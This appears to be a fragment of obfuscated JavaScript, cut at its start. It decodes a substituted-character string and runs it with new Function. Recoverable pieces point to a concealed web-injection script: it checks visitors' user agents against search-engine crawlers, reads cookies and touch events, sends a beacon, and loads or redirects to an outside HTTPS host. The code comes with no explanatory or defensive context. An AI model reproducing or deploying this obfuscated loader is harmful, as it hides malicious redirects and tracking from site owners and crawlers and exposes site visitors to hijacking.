M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();